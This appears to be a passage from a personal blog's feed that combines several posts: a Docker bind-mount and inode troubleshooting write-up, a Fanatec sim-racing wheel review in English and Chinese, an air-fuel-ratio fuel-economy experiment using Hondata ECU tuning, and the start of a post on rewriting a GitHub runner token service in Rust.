If you are using some editor like vim, when you save the file it does not save the file directly, rather it creates a new file and copies it into place. This breaks the bind-mount, which is based on inode. Since saving the file effectively changes the inode, changes will not propagate into the container. When the container is restarted the new inode. If you edit the file in place you should see changes propagate.
This is a known limitation of file-mounts and is not fixable.
所以我们了解了由于我们使用 -v 来挂载文件,这个时候使用到的是 Docker 的 Bind mount (Bind mounts | Docker Docs)。

而这是 Bind Mount 的特性,只有在 Inode 是一样的情况下才会在两边同步文件的修改,一旦 Inode 变了,那这里的同步关系就消失了,这也解释了为什么删除文件之后重建的文件是不能反应到容器内部的修改的。
如果在容器外的某个文件被修改且更换了 Inode ,那么就需要重启容器来重新建立这个绑定关系了。
关于 Bind mount 的 man 说明如下:
Bind mount operation
Remount part of the file hierarchy somewhere else. The call is:
mount --bind olddir newdir
or by using this fstab entry:
/olddir /newdir none bind
After this call the same contents are accessible in two places.
It is important to understand that "bind" does not create any
second-class or special node in the kernel VFS. The "bind" is
just another operation to attach a filesystem. There is nowhere
stored information that the filesystem has been attached by a
"bind" operation. The olddir and newdir are independent and the
olddir may be unmounted.
可以简单理解为将一个目录(或者文件) mount 到另一个目录(或者文件)下(而不是传统意义上的将一个块设备 mount 到一个目录下),其中文件的部分有点类似硬链接, 不过区别是硬链接是个文件系统的实现,而 bind mount 是个操作系统内核级别的操作,且硬链接不支持目录到目录的连接,可以参考 12.04 - Why are hard links not allowed for directories? - Ask Ubuntu
P.S,说到硬链接就想到了一些奇怪的公司的 PTSD 面试题,叫做「硬链接和软链接的区别」,回顾一下可以发现硬链接其实很像 Bind mount ,因为两个「文件」是共享的 Inode.
然后随便搜到个文章 面试 | Linux 下软链接和硬链接的区别 - 知乎 发现还是我自己写的,就更加 PTSD 了 😅
说起 Inode 我们可以知道,在硬链接中多个文件是共享了同一个 Inode,同时我们知道以下信息:
以上来源: 理解inode - 阮一峰的网络日志
那我们设想这么个场景,假设我们的容器需要把日志写到一个外部文件中,比如和上文一样还是叫做 tx.db,也是通过 Bind mount 的方式实现,这个时候我们发现这个文件已经写了 10G+ 了,我们的机器上已经快没有空间了,这个时候我们在系统上想丢掉这个日志应该怎么做?
> tx.db 把日志变成空文件?rm -f tx.db 删掉日志文件有了前文的铺垫这个时候读者肯定可以容易明白,第一种方式是可行的,而第二种方式在容器外删除了文件之后由于只有容器内占用了对应的文件的 Inode,外面系统看不到这个文件(没有 Inode),但是由于 Inode 依然被容器占有,所以通过 df -h 等工具会发现系统可用空间是一点都没变少,这个时候如果想通过 docker cp 的方式恢复文件都不可行:
docker cp 83764c055df5:/tx.db ./
Error response from daemon: mount /home/nova/indexer_api/tx.db:/var/lib/docker/overlay2/26b9ab72d273a7f905308b285a88a9a4d45c3943cbb4f029a33afa03efffa344/merged/tx.db, flags: 0x5000: not a directory
而且在容器内也删不掉了:
# rm -f tx.db
rm: cannot remove 'tx.db': Device or resource busy
顺便,如果我们去 /var/lib/docker/overlay2/26b9ab72d273a7f905308b285a88a9a4d45c3943cbb4f029a33afa03efffa344/merged 这个目录下观察的话:
total 10192
-rwxr-xr-x. 1 root root 0 Jan 2 09:36 1.bin
-rwxr-xr-x. 1 root root 0 Jan 2 09:36 1.txt
lrwxrwxrwx. 1 root root 7 Dec 18 08:00 bin -> usr/bin
...
drwxr-xr-x. 1 root root 4096 Jan 2 09:36 etc
drwxr-xr-x. 2 root root 4096 Dec 10 05:08 home
...
-rwxr-xr-x. 1 root root 0 Jan 2 09:36 tx.db
会发现其实 bind mount 进去的文件体积都是 0 (比如 1.bin,1.txt,tx.db),这个时候如果要「释放」真正的空间的话一般只能通过重启容器来处理了。
有兴趣的读者可以继续思考一下在这种情况下我们如何把这个文件拿出来(恢复)。
以上,便是这 2024 年博客的第一篇文章我们探索的问题啦,不知道通过对这个问题的探索你是否有学到了一些奇怪的知识呢?
新年快乐!
If everything seems under control, you’re just not going fast enough.
I purchased my Logitech G29 racing wheel set in March 2020, and now it’s been almost 4 years. It has been working stably, except for a warranty replacement due to a motherboard failure. During this time, I recommended the wheel set to a friend who became a keyboard racer. After experiencing @lxthunter’s T300 belt-driven wheel and feeling the more precise road feedback, I began to consider upgrading my own racing wheel.

Recently, I revisited the prices of the G29 and T300 wheel sets and found that they were only around 600 CNY apart. If someone were to ask me today for a recommendation for a racing wheel to play sim racing games like Assetto Corsa Competizione and Assetto Corsa, I would strongly discourage them from choosing a G29-like gear-driven wheel (though I must say that budget gear-driven wheels are still a viable option for newcomers who are unsure about their interest in sim racing).
Due to my frequent play of Assetto Corsa Competizione, the game features a lot of Fanatec advertising, including the M4 GT3 car (which is indeed closely associated with Fanatec, and Fanatec manufactures the steering wheel) and electronic screens at the racetracks.


My initial introduction to Fanatec was through their Clubsport V3 Pedals. I remember reading reviews that mentioned these pedals could provide a realistic feel of ABS braking. However, the price of the pedals, which was over 3000 CNY, seemed quite expensive to me at the time (I had just graduated and had recently started working at PingCAP).
I gradually learned about the differences between gear-driven, belt-driven, and direct-drive wheels, and after comparing the Hall sensors, position sensors, and pressure sensors on the pedals, I decided that my next set of sim racing equipment had to include a direct-drive wheel.
I originally wanted to find a store where I could test it, but after searching, I found that in Shanghai, the only place with a direct-drive setup was on the G-force rig on the second floor of Hipole. When I went there, I was a bit socially anxious, and the pricing was based on hourly rates, so it was not cheap, and I missed the only opportunity to try out a direct-drive wheel.
So, I had no choice but to buy one directly. Here, it’s worth noting that some users had reported compatibility issues with direct-drive wheels in China. Therefore, I decided to purchase Fanatec’s complete set of equipment, which includes:

All of Fanatec’s equipment is “Designed in Germany, Made in China,” similar to the experience of buying a ThinkPad X1 Carbon. However, the difference is that you can buy the X1 Carbon from the official Chinese channel for an additional cost, while Fanatec does not have this option. You can only import it or purchase it from some Taobao stores.
The DD Pro base and CSL DD base seem to have the same performance, both defaulting to 5Nm. When connected to a 180W power supply, they automatically become 8Nm versions. The difference between the two is that the DD Pro can be used with a PlayStation, while the CSL DD cannot. The price difference on the official website is 100 USD.
They really know how to make money.
To use Fanatec’s equipment, you need to download two drivers: the Fanatec driver and a software called Fanalab.
Fanalab’s download location seems like a forum, but it’s a crucial tool. After downloading it, you can capture some telemetry signals in games, such as ABS, TC activation, and RPM. Without downloading Fanalab, the pedals won’t provide ABS feedback, and the steering wheel won’t display the gear shift indicator lights properly.
Official link: https://fanatec.com/eu-en/pedals/clubsport-pedals-v3
Official price: 399.95 USD
For some strange reason, these arrived first, so I started trying to use Fanatec pedals with my G29 steering wheel.

The pedals have a small controller at the back, supporting two connection methods:
Yes, these pedals do not need a power source.
So, for me, it was a matter of removing the G29 pedals and securely attaching the V3 pedals to my rig using USB connection to the computer.

The mounting holes for these pedals are 8.5mm, while the F-GT Lite rig has 8mm mounting holes. Neither the rig nor the pedals come with corresponding screws for mounting, so I had to make a trip to the hardware store to buy 4 screws for secure mounting.
When I opened Assetto Corsa Competizione, I found that I could mix and match the pedals directly; it was a plug-and-play experience.

In terms of the feel, the brake pedal uses a pressure sensor (or some people call it a load cell) which is quite different from pedals like the G29, which use a position sensor. The pedal’s depth in the game is determined by the pressure on the pedal rather than the physical pedal depth. The actual “feel” of this setup is more linear and consistent compared to the two-stage feel of the G29, which relies on springs and rubber to simulate pedal feel. Initially, it took some getting used to because the in-game pedal depth does not correspond 1:1 to the actual pedal depth. Additionally, the overall pedal travel is shorter. After getting used to it for about 10 laps, coupled with the added ABS feedback from the pedal’s built-in motor (which is essentially vibration), I found that these pedals are excellent for trail braking. You only need to slightly release the brake to reduce brake force in the game, matching the reduction in pedal force (unlike the G29, which requires gradually releasing the pedal’s travel).
The advantage of this pedal feel is that it’s easy to develop muscle memory for braking. In contrast, the G29 doesn’t make it as easy to consistently apply the same amount of braking force at the same position, especially when gradually releasing the brake.
Official link: https://fanatec.com/us-en/accessories/wheel-base-accessories/boost-kit-180-8nm
Official price: 149 USD, which I find hard to understand, but maybe that’s capitalism for you.
The Boost Kit 180 (8Nm) is essentially a 180W power supply, and there are many DIY tutorials available online.
Yes, this is also “Made in China.”
Official link: https://fanatec.com/eu
-en/steering-wheels/clubsport-steering-wheel-formula-v2.5
Official price: 339 USD
This steering wheel requires a quick-release mechanism. It has a good feel to it, but the paddle shifter’s feel wasn’t as good as I had imagined (it even feels inferior to the paddle shifters on the CVT Civic, for example). It’s also “Made in China.”


The wheel has three knobs in the middle, with the left and right knobs labeled 1-12. However, these numbers do not correspond directly to specific inputs. The knobs work by rotating them clockwise or counterclockwise to trigger different inputs. So, if you want to use the knobs to adjust ABS or TC levels, you can only set them to “Increase” and “Decrease” and then match the corresponding number in the game before adjusting ABS or TC levels.
The steering wheel has a very nice feel to it, and it doesn’t emit a strong electronic product odor when you open it. You can also see stickers like QC01 on the back and bottom of the wheel that give it a very factory-like appearance.

Official link: https://fanatec.com/eu-en/racing-wheels-direct-drive-bases/direct-drive-bases/gran-turismo-dd-pro-wheel-base-8-nm
Official price: 599.95 USD

The separation of the steering wheel and the base means that in the case of this Fanatec setup, the base provides the steering and force feedback torque, while the steering wheel itself provides the vibrations.
In simple terms, the base is a large, heavy hunk of metal. When mounted on my rig, it’s somewhat unstable (it has quite a bit of wobble when going through corners).
For someone like me who has used a G29 for 4 years, my first impressions of this base, in its 8Nm state, are as follows:
Fanatec’s website offers some recommended settings for different games, like:
These settings recommend reducing the Gain in the game to reduce the overall output (possibly to prevent it from feeling like a workout). After adjusting these settings, the force feedback felt more reasonable and less strenuous, making it more comfortable. After about a week of adaptation and occasional push-ups for arm strength, I can now comfortably use the 8Nm setting along with the ACC settings recommended by Fanatec’s website (mainly a Gain of 79%). I no longer find it challenging to use the wheel for extended periods of driving, such as a 1-hour sprint with the AMG GT3 at Monza.

It feels like the AMG GT3’s force feedback is slightly less than the M4 GT3.
I continued to use my existing F-GT Lite rig. The mounting holes on this rig can accommodate the DD Pro base, but the position is not ideal (you can’t use all 4 screws). If you use the 3-screw mounting method, you can’t mount it in the middle of the base mounting plate. However, using only two screws seems to be stable enough and provides a good position. Since the DD Pro base has a significant torque, it causes some wobbling of the base mounting plate when the force feedback is active. I bought a metal rod online to reinforce it.

After adding the reinforcement, the wobbling is significantly reduced, and the accuracy and smoothness of the force feedback before and after the reinforcement are like night and day. If you’re facing a similar stability issue, you might want to consider reinforcing it. The accuracy and smoothness of the force feedback are worlds apart.
After receiving the equipment and adapting for two days (approximately 2 hours each day), the addition of the new pedals and steering wheel allowed me to improve my lap time at the Nürburgring in Assetto Corsa Competizione by 1 second. With the use of pedals equipped with a pressure sensor and the additional ABS feedback from the pedal’s motor, it became less likely to accidentally apply too much brake and trigger ABS, causing the car to understeer. The pedal feel is excellent, especially for trail braking, as you can gradually reduce brake force in the game by slightly releasing the brake, matching the reduction in pedal force. This is unlike the G29, where you need to progressively release the pedal’s travel.
In terms of cost-effectiveness, the “bundle” versions sold on Chinese e-commerce platforms are not a good deal (because they come with their own so-called official power supply). If possible, it seems more cost-effective to import the pedals, base, and steering wheel separately and use a self-made power supply. (Or you might consider buying the base second-hand?)
Now it’s about continuous arm strength training and practice. With this equipment, if I’m not fast on the track, it’s definitely my own fault.
]]>If everything seems under control, you’re just not going fast enough.
我的罗技 G29 方向盘套装购买于 2020 年 3 月,如今过去快 4 年了,除了中途因为主板故障导致质保了一个新的机器以外一直稳定工作,期间也安利了好朋友购买方向盘套装成为键盘车手,在体验过了 @lxthunter 的 T300 皮带机感受到了更加细腻的路面反馈之后便开始有了一些想要升级一下自己的方向盘的想法。

最近重新关注了一下 G29 套装和 T300 套装的价格,发现只相差 600 CNY 左右,如果放在今天有人希望我能推荐一款方向盘用来玩模拟赛车游戏(比如 Assetto Corsa Competizione ,Assetto Corsa)的话,那我会极力不推荐 G29 类似的齿轮机。(虽然不得不说廉价齿轮机对于不确定自己是否对赛车游戏感兴趣而只是用来入门的玩家而言其实还是可以的)
由于经常玩 Assetto Corsa Competizione ,游戏内有大量的地方都有着 Fanatec 的广告,无论是 M4 GT3 的车身(虽然 M4 确实和 Fanatec 合作紧密,方向盘也是 Fanatec 生产的)还是一些赛道边上的电子屏上,都有 Fanatec 的踪迹。


最早对于 Fanatec 的搜索来自他们的 Clubsport V3 Pedal,记得当时在搜索了一些评论说这个踏板可以反馈出 ABS 的脚感之后便开始有些种草,但是看到踏板的价格就在 3000+ CNY 之后,便也只能想想了,毕竟在当时看来价格有点过于贵了(当时我才刚毕业,在 PingCAP 工作没多久)。
后来逐渐了解到了一些齿轮,皮带和直驱的差异,对比踏板上霍尔传感器,位移传感器和压力传感器的不同之后,我便决定下一套模拟器设备一定要试试看直驱的。
本来是想找是否有体验店的,搜索了一圈发现上海似乎只有 Hipole 的二楼的一个 G 力支架上才是直驱的,当时去的时候由于有点社恐+是按照小时计费的且价格不便宜,便失去了这唯一一个体验直驱的机会。
那就只能直接买了,这里由于看到一些对于国内的直驱关于驱动方面兼容的不好评价,于是决定直接购买 Fanatec 的全套设备,即:

Fanatec 的所有设备都是 「Designed in Germany,Made in China」,类似大家购买 ThinkPad X1 Carbon 的体验,不过不同的点在于如果要买 X1 Carbon 可以加价从国内官方渠道购买到国内的版本,而 Fanatec 没有,只能海淘或者从一些淘宝上的店购买。
DD Pro 基座和 CSL DD 基座性能似乎是一样的,都是默认 5Nm ,通过接上 180W 电源会自动变成 8Nm 的版本,两者的差异是 DD Pro 可以接 PS 用,而 CSL DD 不能,价格官网差异 100USD。
真会赚钱.jpg
为了使用 Fanatec 的设备,需要下载两个驱动,一个是 Fanatec 驱动,一个是叫 Fanalab 的东西
Fanalab 的下载地址像是一个论坛一样,非常神奇,这个工具下载了之后才可以捕捉游戏的一些 Telemetry 信号(比如 ABS ,TC 激活,转速等等),如果不下载这个的话踏板不会有 ABS 反馈脚感,方向盘也不会有正常显示的换档提示灯。
官网链接: https://fanatec.com/eu-en/pedals/clubsport-pedals-v3
官网售价 399.95USD
由于某些奇怪的原因,这个是最先到达的,于是我开始尝试将 Fanatec 踏板和 G29 方向盘联用。

踏板背后有个小的控制器,支持两种连接方式:
是的,踏板不需要插电源
和 G29 的踏板对比:

所以对于我来说就是把 G29 的踏板拆下来,然后把 V3 踏板固定到我的支架上,通过 USB 线连接到电脑即可。
这个踏板的固定孔位是 8.5MM 的,F-GT Lite 支架的孔位是 8MM 的,且支架和踏板都没有提供对应的固定螺丝,所以只好去了一趟五金店买了 4 个螺丝固定,算是能用
打开 Assetto Corsa Competizione,发现直接可以混用,Plug’N Play

从体感上来说,刹车踏板使用了压力传感器(或者有些人说的称重传感器)的踏板和 G29 这类使用位移传感器的有较大的不同,即并不是纯粹通过踏板踩踏深度来决定游戏内的踏板深度,而是根据踏板压力来决定游戏内踏板深度。
带来的实际的「脚感」就是:刹车踏板相比较 G29 这种弹簧+橡胶强行营造的两段式脚感而言,更加线性+黏糊(踩下和回弹均有类似的感觉,可能是由于内部有两块海绵用来模拟真车的刹车油踩踏脚感),由于游戏内踏板深度不和实际踩踏深度 1:1 对应,且整体体感行程较短,刚开始不太适应,但是大概经过了 10+ 圈的熟悉之后,搭配通过踏板背后的电机提供的所谓的 ABS 反馈(其实就是震动),会发现这个踏板非常适合循迹刹车,因为只需要轻微松开刹车,利用脚力的逐渐变小即可对应游戏中刹车力的逐渐变小(而不是 G29 需要逐渐往后松刹车踏板行程)。
而这种脚感的好处是可以很容易培养起刹车的肌肉记忆(相比较之下 G29 就不太容易做到每圈同样位置能给到非常精确的刹车力,尤其是在逐渐释放刹车的时候)。
官网链接: https://fanatec.com/us-en/accessories/wheel-base-accessories/boost-kit-180-8nm
官网售价 149USD,我不理解,可能这就是资本主义国家吧
所谓的 Boost Kit 180 (8Nm) 其实就是一个 180W 的电源,国内外有大量的 DIY 的教程。
是的,这个也是「Made in China」的。
官网链接: https://fanatec.com/eu-en/steering-wheels/clubsport-steering-wheel-formula-v2.5
官网售价 339USD
方向盘需要搭配快拆使用,质感很不错,就是拨片手感没有想象中的好(感觉甚至不如 CVT 思域自带的拨片手感),也是「Made in China」的


方向盘中间有三个旋钮,左边和右边的旋钮是 1~12 ,但是其实并不是旋到对应数字就是某个特定输入。
旋钮的工作方式是顺时针旋转一下和逆时针旋转一下分别一个输入,所以如果需要用旋钮来改变 ABS,TC 等级的话,只能分别设置到 Increase 和 Decrease ,然后在游戏进入前让旋钮指向的数字和游戏内对应,然后旋转旋钮改变到对应的 ABS,TC 等级。
方向盘手感非常不错,打开也不会闻到很明显的电子产品的味道,还能在拨片后面和底部看到 QC01 等非常国内工厂的贴纸。

官网售价 599.95 USD

方向盘和基座分离的设定,在 Fanatec 这套上面表现为:基座只提供转向和力回馈扭矩,方向盘本体提供震动。
简单来说,这个是个很大,很重的一坨金属,安装在我的支架上其实有点不太稳定(在过弯的时候会有较多晃动)。
对于一个玩了 4 年 G29 的用户而言,这个基座配合方向盘给我的第一印象如下(在 8Nm 状态下):
Fanatec 的官网(轮胎)上对于不同的游戏会有一些推荐设置,比如:
这些设置都会建议调低游戏中的 Gain 来减少总输出(可能防止成为健身器材),调整之后力回馈相对来说就合理一些了,不会过于健身,且经过了大约一周的适应和不定期的俯卧撑进行臂力加强之后,现在使用方向盘的 8Nm 状态配合 Fanatec 官网建议的 ACC 设置(主要是 Gain 79%)之后感觉已经完全可以适应较长时间的驾驶(比如用 AMG GT3 的 1Hr 的 Monza 连续冲刺):
感觉 AMG GT3 的力反馈比 M4 GT3 要小一些

继续复用了之前的 F-GT Lite 支架,这个支架的孔位能装 DD Pro 基座,但是安装的位置并不是很理想(没法上 4 个螺丝,如果用 3 个螺丝的安装方式的话,不能安装在基座安装板的中间,不过好在只上两个螺丝也可以稳定固定住,且获得一个还不错的位置),由于 DD Pro 扭矩比较大,在力回馈的时候会导致基座安装板上下晃动,网购了一根金属棍子来加强:

经过加强之后晃动就明显减少了,效果非常不错,如果你也有类似的固定不稳的问题的话可以参考一下,固定前后力回馈的准确度和顺畅度完全两个世界。
在到货并适应了两天(大概每天 2 Hr)之后,有了新的踏板+方向盘的加成,让我在 Assetto Corsa Competizione 中跑 Nürburgring 又快了 1s,由于踏板使用了压力传感器(且由于有震动反馈,在踩出 ABS 之后脚上有了一个额外反馈的输入),不会像之前使用 G29 纯位移传感器的情况下容易不小心刹车踩多导致出 ABS 然后车开始狂推头,且循迹的范围刚好在两段压力的交界处导致不能稳定循迹的问题。
方向盘(基座)的力回馈其实说实话感觉和 T300 有些像,只是整体放大了回馈,对于 Nürburgring 赛道而言其实没有感觉到网上说的「更加迅速」「没有延迟」等,但是对于 Monza ,Laguna Seca 等组合急弯较多的赛道而言会逐渐感觉这套直驱的反馈速度,以及车在路肩上下的时候力反馈变化的猛烈程度(对比皮带机和齿轮机而言,从没有反馈到最大反馈需要的时间明显短了不少)。
即使在 8Nm 状态下,在 SPIN 撞墙或者上路肩等情况下也几乎没有扭伤手的可能(就目前来看),但是还是建议戴上手套使用,突然的大角度力反馈(比如 SPIN 导致方向盘 180 度旋转)可能会让大拇指被方向盘上大拇指位置的两个旋钮划痛。
从性价比来看,国内淘宝店上出售的「套装」版本绝对算是性价比很差的(因为会自带所谓的官方电源),如果有条件的话感觉似乎海淘踏板,基座和方向盘,然后直接使用自制电源性价比会更高。(或者基座应该也可以直接买二手?)
接下来就是持续锻炼臂力加上保持练习了,这样的设备再跑不快那就一定是人的问题了,没得跑。
]]>申明:本文是对于 AF 以及一些相关的知识学习后的笔记,作为一个非车辆工程相关的人,部分文章内容可能并不正确,仅供参考。
我始终相信,在国内这个改装圈非常混乱,商家水平良莠不齐的情况下,人和车一起成长绝对比无脑花钱跟风改装更加有意义,于是,在此我记录下所有的改件和改后的效果,以及一些心得体会。
对于汽油发动机而言,不同的空燃比会决定不同的燃烧特性,例如我们可以从下图中得到这么个曲线:

上图来源:https://commons.wikimedia.org/wiki/File:Ideal-stoichiometry.svg
但是一般来说我们会从各种地方得到 14.7:1 这个黄金 AF,但是结合上图可以看到 14.7 并不在 Best fuel economy 中。
我们从「汽油发动机稀薄燃烧NOx后处理系统试验研究」一文(链接见附录)中可以看到如下文字:

我们可以得到两个针对「厂商将 AF 设定到 14.7 而不是 15.4 或者更高」的初步猜测:
我们知道氮氧化物的量是排放标准的指标之一,在国 6B 排放全面推行的 2023 年,对比国 6A 而言对于氮氧化物的限制从 60 mg/km 降低到了 35 mg/km。
我们来看另一个不同的空燃比对于排放的表现的图:

上图来源:https://www.researchgate.net/post/Is_there_any_mathematical_model_for_carbon_monoxide_amount_in_terms_of_air_to_fuel_ratio2
没有找到这个图具体在哪个论文中被使用过。
可以看到从 14 开始到 16 之间氮氧化物(绿线)达到了顶峰,或许可以印证上文中「为了更好的排放表现」的猜测,尤其是考虑到现代车辆的 ECU 程序是各种油耗/排放/同派系不同市场车型标定等各种妥协的产物。
所以在上面的理论部分我们可以得出一个初步结论:如果你不在意环保表现(或者说你不是汽车生产商),只是为了更好的油耗表现的话,那么应该将空燃比(其实这里更加准确的说法是——闭环状态下的空燃比)调节到接近 15.4。
为了验证我们的理论是否正确,我们可以通过实验来进行,首先交代一下实验车辆:

由于有 Hondata ,我们可以很容易修改车辆的闭环 AF 值,原始设定如下:

可以看到原厂标定就是 14.7。
我们分别将这里的值修改为 15.4, 15.5 和 16 分别写入 ECU 进行测试:

出于安全考虑,Closed loop target lambda high load 的值没有被调整,因为高负载下稀空燃(比如高档位低转速稳定巡航的时候突然 tip-in 一脚油门,此时负载很高但是空燃比很稀)有更大的爆震风险。
测试方式为使用 ACC 定速巡航 70KM/h ,并保持 10+KM 的行驶里程以求获得一个相对准确的油耗数据。
当然,这里由于中环路也不是一个非常平的路面,且三次测试中降雨量和风速可能也有差异,这里主要作为一个定性对比而非严谨的定量对比。
油耗为 4.8L/100KM
油耗为 3.6L/100KM
油耗为 3.9L/100KM
油耗为 4.1L/100KM
从上面的可能包含误差的结果来看,将 AF 从 14.7 提升到 15.5 后油耗从 4.8L/100KM 下降到了 3.9L/100 KM,得到的数据比较符合「汽油发动机稀薄燃烧NOx后处理系统试验研究」一文中油耗 3.1%~10.1% 的提升。

总结表格如下:
| AF | 油耗(L/100KM) |
|---|---|
| 14.7 | 4.8 |
| 15.4 | 3.6 |
| 15.5 | 3.9 |
| 16 | 4.1 |
以我的车使用 98 号汽油,本文编写时上海 98 号汽油价格为 9.93 CNY/L 来看,在高速公路匀速巡航的时候,每 100KM 可以节省 (4.8-3.9)*9.93 = 8.937 CNY。
这里我个人的想法有如下:
在 Hondata 的文档 https://www.hondata.com/help/flashpro/index.html?closed_loop_parameters.htm 中有如下描述: Warning: Running leaner than stoichiometric (lambda 1, approx 14.6:1) will increase exhaust gas temperatures. For this reason it is not recommend to change these parameters for vehicles with catalysts.
所以对于非直通头段的车来说更稀的 AF 会带来更高的排气温度,这个温度可能会对排气系统造成损伤(准确来说是头段里面的三元催化器)

上图来源: http://www.mummbrothers.com/SRF_Stuff/Secrets/Driveline/Air_Fuel.htm
我们作为消费者,在了解了原理和可能产生的副作用后,在这里可以有所取舍,然后得到我们想要的结果,毕竟这才是我们自己的车不是嘛?(而不是拿到手之后可以被厂商随意 OTA 和强奸各种奇怪功能的车)
发现在使用 Hondata 公版程序——即没有调节过上文截图中的 AF 表格的时候,Datalog 中 AFCMD(ECU 请求 AF)会一直抖动。

而调节了之后,AFCMD 相对就稳定了很多。

不确定这里是由于原车电脑 ECU 有啥额外的补偿,还是说 Hondata 的公版程序这里有什么 Bug 导致。
通过一点理论结合实际动手,是不是对你的车和内燃机的特性又有了更多的了解呢?
Disclaimer: This article is a collection of notes after studying AF (Air-Fuel) and related knowledge. As someone not involved in automotive engineering, some of the content may not be entirely accurate and is for reference only.
I always believe that in the chaotic world of vehicle modifications in China, it makes more sense for both the individual and the vehicle to grow together than blindly spending money on trendy modifications. So, I am recording all the modifications, their effects, and some insights here.
For gasoline engines, different AFRs determine different combustion characteristics, as can be seen from the curve below:

Image Source: https://commons.wikimedia.org/wiki/File:Ideal-stoichiometry.svg
However, in general, we often hear about the “golden” AFR of 14.7:1, but as shown in the graph, 14.7 is not in the “Best fuel economy” range.
From the article “Experimental Study on Lean-Burn NOx Aftertreatment System for Gasoline Engines” (link in the appendix), we can find the following passage:

We can make two preliminary guesses regarding why manufacturers set the AFR to 14.7 instead of 15.4 or higher:
We know that the quantity of nitrogen oxides (NOx) is one of the indicators of emission standards. With the full implementation of China 6B emissions standards in 2023, the NOx limit has been reduced from 60 mg/km to 35 mg/km compared to China 6A.
Let’s look at another graph showing the performance of different AFRs on emissions:

Image Source: https://www.researchgate.net/post/Is_there_any_mathematical_model_for_carbon_monoxide_amount_in_terms_of_air_to_fuel_ratio2
I couldn’t find the specific paper where this graph was used.
It can be seen that nitrogen oxides (green line) reach their peak between 14 and 16. This may confirm the earlier guess of “To improve emission performance,” especially considering that modern vehicle ECUs are the result of compromises between fuel consumption, emissions, and calibration for different markets within the same vehicle category.
So, based on the theoretical part above, we can arrive at a preliminary conclusion: if you don’t care about environmental performance (or you’re not an automobile manufacturer), and you’re aiming for better fuel economy, you should adjust the air-fuel ratio (AFR) (more accurately, the closed-loop AFR) to be close to 15.4.
To verify our theory, we can conduct experiments. First, let’s introduce the test vehicle:

Since we have Hondata, we can easily modify the closed-loop AFR values of the vehicle. The original settings are as follows:

You can see that the factory calibration is at 14.7.
We will modify these values to 15.4, 15.5, and 16 in the ECU for testing:

For safety reasons, the “Closed-loop target lambda high load” value was not adjusted because running a lean AFR under high load conditions (such as suddenly applying throttle during stable cruising in a high gear at low RPMs, where load is high but AFR is lean) carries a higher risk of detonation.
The testing method involves using adaptive cruise control (ACC) to maintain a constant speed of 70 km/h and recording fuel consumption data after driving for more than 10 kilometers to obtain relatively accurate fuel consumption figures.
Fuel consumption: 4.8 L/100 km
Fuel consumption: 3.6 L/100 km
Fuel consumption: 3.9 L/100 km
Fuel consumption: 4.1 L/100 km
From the results, which may contain some errors, we can see that increasing the AFR from 14.7 to 15.5 reduces fuel consumption from 4.8 L/100 km to 3.9 L/100 km, aligning with the “Experimental Study on Lean-Burn NOx Aftertreatment System for Gasoline Engines,” which indicates a fuel consumption improvement of 3.1% to 10.1%.

Summary table:
| AFR | Fuel Consumption (L/100 km) |
|---|---|
| 14.7 | 4.8 |
| 15.4 | 3.6 |
| 15.5 | 3.9 |
| 16 | 4.1 |
In my car, using 98 octane gasoline, and assuming a gasoline price of 9.93 CNY/L in Shanghai at the time of writing, driving at a constant speed on the highway allows for savings of (4.8 - 3.9) * 9.93 = 8.937 CNY per 100 kilometers.
Here are my personal thoughts on this:
In Hondata’s documentation at https://www.hondata.com/help/flashpro/index.html?closed_loop_parameters.htm, it is described as follows: Warning: Running leaner than stoichiometric (lambda 1, approx 14.6:1) will increase exhaust gas temperatures. For this reason, it is not recommended to change these parameters for vehicles with catalysts.
So, for cars without direct header sections, a leaner air-fuel mixture would result in higher exhaust temperatures, which could potentially damage the exhaust system (specifically, the three-way catalytic converter inside the header).

Image source: http://www.mummbrothers.com/SRF_Stuff/Secrets/Driveline/Air_Fuel.htm
As consumers, we can make informed decisions here after understanding the principles and potential side effects. After all, it’s our own cars, right? (Rather than vehicles that can be subject to manufacturer OTA updates and various unusual features after purchase.)
I noticed that when using the Hondata public version program—meaning
the AFR table in the screenshot above had not been adjusted—the AFCMD (ECU-requested AFR) would constantly fluctuate.

However, after adjusting it, the AFCMD became much more stable.

I’m not sure if this is due to additional compensation in the stock ECU or if there’s a bug in the Hondata public program.
By combining a bit of theory with hands-on experience, you might gain a better understanding of your car and internal combustion engine characteristics.
于是我第一反应就想到了一个 Event sourcing 的设计,一个定序器 + 在 S3 上的可随意平行扩展的方案,而且可以借这个机会熟悉一下 Rust。
虽然后面讨论了一下对于评论系统而言的多维度查询在上面那个方案上几乎等于烂透了。
Anyway,既然牛都吹出去了,那感觉可以从一些小的项目来试试看这个被许多人吹捧的 Rust 用起来到底怎么样了。
由于我不太会写代码,我熟悉任何一个程序开发语言的过程都是面向实现一个小玩具开始(而非阅读「xx 语言设计」等教程),就像:
所以为了熟悉 Rust,我挑了一个之前一直想解决的痛点开始—— https://github.com/knatnetwork/github-runner-kms,这个过于简单的程序镜像居然有 100+ MB,而且启动和停止速度很慢,属实不应该。
KMS 是个什么?在之前的博文:
中我们可以知道,如果你想运行一个 Self-hosted GitHub Runner,那么你需要有个地方传入你的 GitHub PAT 来获得 Runner 的 Registration Token,然后在 Runner 上通过那个 Token 来注册,这里的风险就是如果你把 PAT 想办法放到了 Runner 里面,那这里 PAT 被盗用之后产生的风险就会非常大,所以 KMS 服务就是将你的 PAT 放到一个额外的服务中,Runner 在启动和停止的时候和 KMS 交互来动态获得 Runner 专属的 Registration Token 和 Remove Token,减少安全隐患。
如果你想了解更加详细的内容,请参考上面的两篇文章。
所以 https://github.com/knatnetwork/github-runner-kms 的工作很简单,只要接受来自 Runner 的请求,给 GitHub 发一个请求,拿到 Token 并返回就可以了,为了让大家更直观的了解工作流程,一个例子如下:
app.get('/:github_org_name/registration-token', (req, res) => {
const registration_token_url = `https://api.github.com/orgs/${req.params.github_org_name}/actions/runners/registration-token`
const github_pat = org_pat_map[`${req.params.github_org_name}`]
const headers = {
Authorization: `token ${github_pat}`,
}
axios
.post(registration_token_url, {}, { headers: headers })
.then((github_res) => {
res.send(github_res['data']['token'])
})
})
既然是个简单的 Web Application,那用 Rust 改写一下应该没啥难度吧,而且还有 ChatGPT 和 GitHub Copilot 加持,What could possibly go wrong?
很快我便找到了一个看上去用的人很多的 Web 框架——Rocket,然后在和 ChatGPT 大量对话,在 VSCode 中大量 Quick Fix 解决了各种奇妙的借用和引用的问题,学会了奇怪的 match, Ok 等语法之后,我终于有一个能用的 https://github.com/knatnetwork/github-runner-kms-rs Rust 版本的 KMS 了!
